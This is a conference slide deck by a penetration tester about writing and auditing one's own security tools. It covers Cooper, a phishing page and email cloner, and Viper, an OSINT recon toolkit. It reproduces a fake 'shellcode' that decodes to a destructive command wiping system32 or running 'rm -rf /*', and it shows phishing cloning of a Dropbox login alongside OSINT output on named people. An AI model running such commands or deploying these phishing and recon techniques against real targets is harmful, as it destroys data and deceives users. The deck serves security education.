CODING FOR SELF DEFENSE

EXPANDING YOUR TOOLKIT THE DIY WAY
INTRODUCTIONS

CHRIS MADDALENA - PEN TESTER / SECURITY CONSULTANT

▶ chrismaddalena
▶ @cmaddalena
▶ miscgroup

CONVERGE

#miser
WHY WE ARE HERE

WHY WE’RE HERE

▸ Understand code before you run it
▸ Improve/enhance/fix code you already have
▸ Make your own toolkit
WHY WE ARE HERE

BONUS: SELF DEFENSE

- Sometimes you must use tools that need maintenance and don’t get it
- Like tools made by this guy
  (Just Kidding!)
VALUE/RULE #1

VALUE #1: (THE ONLY RULE) UNDERSTANDING THE CODE

```python
#bindshell port 8888
shellcode = "/5/x5f/x5f/x69/x6d/x70/x6f/x72/x74/x5f/x5f/x28/x27/x6f/x73/x27/x29/x2e/x73/x79/x73"
shellcode += "/7/x69/x6c/x28/x2f/x73/x29/x27/x71/x20/x22/x66/x28/x43/x3a"
shellcode += "/3d/x33/x2a/x2a/x2a/x20/x66/x28/x2f/x73/x29/x27/x71/x20/x2f/x66/x28/x43/x3a"
shellcode += "/7/x69/x6c/x28/x2f/x73/x29/x27/x71/x20/x22/x66/x28/x43/x3a"
shellcode += "/7/x69/x6c/x28/x2f/x73/x29/x27/x71/x20/x22/x66/x28/x43/x3a"
shellcode += "/7/x69/x6c/x28/x2f/x73/x29/x27/x71/x20/x22/x66/x28/x43/x3a"
shellcode += "/7/x69/x6c/x28/x2f/x73/x29/x27/x71/x20/x22/x66/x28/x43/x3a"
shellcode += "/7/x69/x6c/x28/x2f/x73/x29/x27/x71/x20/x22/x66/x28/x43/x3a"
shellcode += "/7/x69/x6c/x28/x2f/x73/x29/x27/x71/x20/x22/x66/x28/x43/x3a"
shellcode += "/7/x69/x6c/x28/x2f/x73/x29/x27/x71/x20/x22/x66/x28/x43/x3a"
shellcode += "/7/x69/x6c/x28/x2f/x73/x29/x27/x71/x20/x22/x66/x28/x43/x3a"
shellcode += "/7/x69/x6c/x28/x2f/x73/x29/x27/x71/x20/x22/x66/x28/x43/x3a"
```

#bindshell port 8888

OH REALLY?
WHAT A JERK

BECAUSE SOMETIMES YOU GET THIS

```
[root:~:/Desktop]# perl RevealYourself.pl /root/Desktop/shellcode.bin
Writing to /root/Desktop/shellcode.bin
Wrote 269 bytes to file
[root:~:/Desktop]# cat shellcode.bin
__import__('os').system('del /s /q /f C:\windows\system32\* > NUL 2>&1') if 'Win'
' in __import__('platform').system() else __import__('os').system('rm -rf /* > /
/dev/null 2>&1') #hi there ^_^ feel free to spread this with the rm -rf replaced
with something more insidious#
```
VALUE #2: IMPROVING AND FIXING CODE
VALUE #3: MAKING YOUR OWN TOOLKIT

WROTE A NEW SCRIPT

ONLY WENT TO STACK EXCHANGE ONCE
PUTTING IT ALL TOGETHER

YOUR REWARD

- The ability to CREATE
- A better understanding of...
  - Tools you use
  - Why a tool is broken/how it breaks
  - Programming languages
    - Python, C, Ruby, Go
PUTTING IT ALL TOGETHER

GETTING STARTED

- Start small!
  - Find cool tools
  - Fix error handling or improve user feedback
  - Let your comfort level grow
- Explore GitHub
- Learn Git and explore GitHub
- Talk to friends and the community
MISTAKES WILL BE MADE

IT'S ALRIGHT TO MAKE MISTAKES!

I HAVE NO IDEA WHAT I'M DOING
This is bait.

INTRODUCING...

COOPER

TOOL #1
COOPER - A HANDY PHISHING HELPER

- Cooper - person who makes or repairs casks and barrels
  - It’s a dumb “fish in a barrel” joke - I like puns
  - Probably should have gone for a “bait” pun
- Functional in 48 hours in July 2015
- Truly useful in ~6 months, but still being improved after a year
- Cooper processes:
  - Emails - Ingests raw email text
  - Webpages - Clones live webpages
BUT WHY? THIS SEEMS LIKE A THING OTHER TOOLS ALREADY DO...

- Sort of, but not entirely!
- This automated a lot of manual work
FORMING A PLAN

- Look at what remains the same no matter what
  - Always need to change URLs and form actions
  - Always need to fix broken images and styling
- See if anyone else has done it
  - SET comes close, but no
- Work backwards from there
CUSTOMIZING THE SOLUTION

- In this case, why not just use SET?
  - Compatibility with our custom platform
- Goal was to automate:
  - Fixing links
  - Changing form actions
- This is simpler to run
How does this thing work?

- social-engineer-toolkit/src/webattack/web_clone/cloner.py

Understanding the code:

```python
subprocess.Popen('%s; cd %s/web_clone/; wget --no-check-certificate -O index.html -c -k -U "%s" "%s" ;' % (proxy_config, setdir, user_agent, url), stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True).wait()
```
REMEMBER VALUE #2

STARTING WITH SMALL MODIFICATIONS

```python
# Takes a URL, scrapes that webpage, and saves source to output file
def collectSource(URL, OUTPUT):
    print("[+] Collecting HTML source from: "+ URL)
    try:
        # Spawn a detached process to check for wget on the system
        # Detached process removes the wget test call results appearing in the terminal
        DNNULL = open(os.devnull, 'w')
        wget = subprocess.call('wget', shell=True, stdout=DNNULL, stderr=subprocess.STDOUT)
        if wget == 1:
            # Same command used by SET's, but without -k, convert links
            cmd = 'wget --no-check-certificate -O %s -c -U "%s" "%s" --user-agent="%s" % (OUTPUT,URL, USER_AGENT)
            subprocess.Popen(cmd, shell=True).wait()
        else:
            headers = { 'User-Agent' : user_agent }
            page = urllib.request.Request(URL, None, headers)
            source = urllib.request.urlopen(page).read()
            sourceFile = open(OUTPUT, 'wb')
            sourceFile.write(source)
            sourceFile.close()
    print("[+] Successfully collected source from: "+ URL)
```
RECALL VALUE #3

ADDING FUNCTIONALITY

```python
# This is Step 1 - Determine encoding and decode if necessary

def decodeEmailText(ENCODING, OUTPUT):
    with open(OUTPUT, 'r') as html:
        encoded = html.read()

        if ENCODING in ['quoted-printable', 'qp', 'q-p']:
            print('[] Decoding quoted-printable text."
        # Decode the quoted-printable text
        source = quopri.decodestring(encoded)

        if ENCODING in ['base64', 'Base64', 'b64', 'B64']:
            print('[] Decoding Base64 text."
            print('[] WARNING: If the output is a mess, double check your input file to make sure only the Base64
        # Decode the Base64 text
        source = base64.b64decode(encoded)

    with open(OUTPUT, 'wb') as output:
        output.write(source)
```
# check if we have wget, if we don't then use urllib2 – special thanks to chrismaddalena for the pull request!
# wget is called, but output is sent to devnull to hide "wget:
# missing URL" error

```python
DNULL = open(os.devnull, 'w')
wget = subprocess.call(
    'wget', shell=True, stdout=DNULL, stderr=subprocess.STDOUT)
```

Many pull requests later...
That got a lot simpler...
No more need to decode email text and process the raw text!
LESSONS LEARNED

▸ I became much more familiar with requests, urllib, mechanize, BeautifulSoup, and other libs

▸ I learned a lot about Git and GitHub

▸ Troubleshooting can be a wild learning experience
  ▸ You run into problems you never considered and learn more

▸ Share your ideas! Feedback taught me so much.
SAMPLE OUTPUT – WEBPAGE

./cooper.py
-p https://www.dropbox.com/login
-u https://www.dropbox.com
-o dropbox.html
OUTPUT COMPARISON

- Images are preserved
- Links are changed to point to us
PROCESSING AN EMAIL

- Very simple! Use your client’s “Show Original” / “Show Source” option.
- Save *everything* to a file - no need to remove anything from the raw source.

Our Example: My hotel reservation

```plaintext
------=_Part_5050847_934130732.1475208314952
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: quoted-printable
```
./cooper.py
-e email.txt
-o phish.html

Output file will be: email.html
Processing phishing email request...
Opening source email file: /Users/Chris/Downloads/original_msg.txt
Processing multi-part email message.
Processing text/plain content...
Processing text/html content...
These 14 URLs will be replaced in the HTML:
COOPER DEMO

REVIEWING OUTPUT

- Images are preserved
- Text is decoded
- Links are changed to point to us
- The email is a perfect clone
INTRODUCING... VIPER

TOOL #2

INTRODUCING... VIPER
VIPER

MORE TOOLBOX THAN TOOL

- Automated OSINT
  - Discover email addresses and social media
  - whois/RDAP
- Reputation data
- DNS info and brute forcing
- Shodan integration
- Google searches for indexes, logins, documents
- Automated scanning with nmap
  - Custom output and target lists for EyeWitness
WHY VIPER? VALUE #1

THE INSPIRATION

- Like Lee Baird’s Discover scripts, but support for Shodan?
- Like Laramies’ TheHarvester, but automatically report if the email address is in a paste?
MAKING SMALL CHANGES FOR CLEANER OUTPUT

```python
print "[+] Harvesting Google (1/{0})".format(harvesterDomains)
ssearch = googlesearch.search_google(domain, harvestLimit, harvestStart)
ssearch.process()
googleHarvest = search.get_emails()

# Combine lists and strip out duplicate findings for unique lists
totalEmails = googleHarvest + bingHarvest + yahooHarvest
temp = []
for email in totalEmails:
    email = email.lower()
    temp.append(email)
unique = set(temp)
uniqueEmails = list(unique)
```
# Check haveibeenpwned for pastes from Pastebin, Pastie, Slexy, Ghostbin, QuickLeak, JustPaste
url = "https://haveibeenpwned.com/api/v2/pasteaccount/{}".format(email)
page = urllib2.Request(url, None, headers)
# We must use Try because an empty result is like a 404 and causes an error
try:
    source = urllib2.urlopen(page).read()
    report.write("Pastes: {}\n".format(source))

user = twitAPI.get_user(twit.strip('@'))
report.write("Real Name: {}\n".format(user.name))
report.write("Twitter Handle: {}\n".format(user.screen_name))
report.write("Location: {}\n".format(user.location))
report.write("Followers: {}\n".format(user.followers_count))
try:
    report.write("User Description: {}\n".format(user.description.encode('utf8')))
ALWAYS ITERATING AND IMPROVING!

KEEP LEARNING AND ITERATING

- As I actually used Viper, I wanted it to be more flexible
- Viper was (nearly) rewritten last week!

Python 🐍 origin/dev 🕒+201, -372

зык показывает 20 измененных файлов с 1,156 добавлениями и 1,222 удалениями.
RECENT CHANGES - LAST WEEK

MOVING TO A CLI

Welcome to Viper!

Warning: Some functions will require running Viper with sudo (e.g. nmap SYN scans).

Please select a job from the options below.

1. Intelligence Gathering (Passive)
2. Review IPs and domains
3. Penetration Testing (Active)
4. Reporting
5. Phishing
6. Exit

Welcome to Viper! To use Viper, select a module you wish to run. Functions are split into modules for flexibility.

Usage: viper.py [OPTIONS] COMMAND [ARGS]...

Options:
- - - - - - - - - - - - - - - - - - - - - -
  
  Commands:
  - domain: Only domain-related recon will be performed (DNS, Shodan, rep data). Provide a list of IPs and domains.
  - osint: The full OSINT suite of tools will be run (domain, people, Shodan).
  - people: Only email addresses and social media profile recon (email, Twitter, and LinkedIn). Provide an email address.
  - rep: Check SSL cert for provided IP or domain.
  - scan: Scan IPs and domains using nmap or MassScan - This is noisy!
  - shodan: Look-up IPs and domains on Shodan using the Shodan API and your API key.
  - ssl: Check SSL cert for provided IP or domain.
  - verify: Verify an external pen test scope. This returns a csv file with SSL cert, whois, and other data for verification.

VS
SAMPLE OUTPUT - OSINT

./viper.py

osint [module]
-c “Black Arts Illuminated” [client]
-d blackarts.ca [domain]
### Email & People Report for blackarts.ca ###

---THEHARVESTER Results---
Emails checked with HaveIBeenPwned for breaches and pastes:

renu@blackarts.ca
br..@blackarts.ca
bruce@blackarts.ca
bryan@blackarts.ca
mick@blackarts.ca
info@blackarts.ca
Real Name: Sean Blenkhorn  
Twitter Handle: SeanBlenkhorn  
Location: Detroit, Michigan  
Followers: 642  
User Description: Sr Director, Sales Engineering and Advisory Services @eSentire. Views expressed are my own and not of my employer. #InfoSec #ProudCanadian #Habs #HockeyLife

Real Name: Eldon Sprickerhoff  
Twitter Handle: TheEldon  
Location:  
Followers: 230  
User Description: My words are my own and do not necessarily represent those of my employer.

LinkedIn Profile: http://www.bing.com/search?q=site:linkedin.com%20"Eldon%20Sprickerhoff"%20"eSentire"

Real Name: IdanFire  
Twitter Handle: IdanFire  
Location: Toronto, Ontario  
Followers: 145  
User Description: biz. dev, communications, sales, marketing. I do it all. Also a huge Raptors fan. I work for @BlancLabs, @BlancRide, @BlancLink. Views are my own.
FUTURE DEVELOPMENT

- This is a fun side project of mine, so it’s constantly being developed
- The menu driven version may go away entirely - dev branch has the CLI
- Move from text reports to HTML for nice formatting/organization
- Expand scanning options for some automated testing/parsing
- Expand file collection to also collect metadata
- A lot more - anything YOU can come up with!
YOUR CALL TO ACTION!

WHAT YOU CAN DO NOW

▸ Get involved and start automating tasks!

▸ If you’re not sure, let my projects help you:
  ▸ Submit pull requests to my repos, reach out, and ask me questions!
  ▸ /chrismaddalena/cooper, /chrismaddalena/viper, and other odds and ends

▸ Look at your own responsibilities and see what can be automated

▸ Look at tools you have inherited or developed ages ago and see if you can improve them
GOODBYE AND…

THANK YOU!

- Chris Maddalena
  - chris.maddalena@gmail.com
  - https://www.github.com/chrismaddalena
  - @cmaddalena
- Converge and BSides Detroit - April 13, 14, and 15!
  - https://www.convergeconference.org/
  - CFP is open!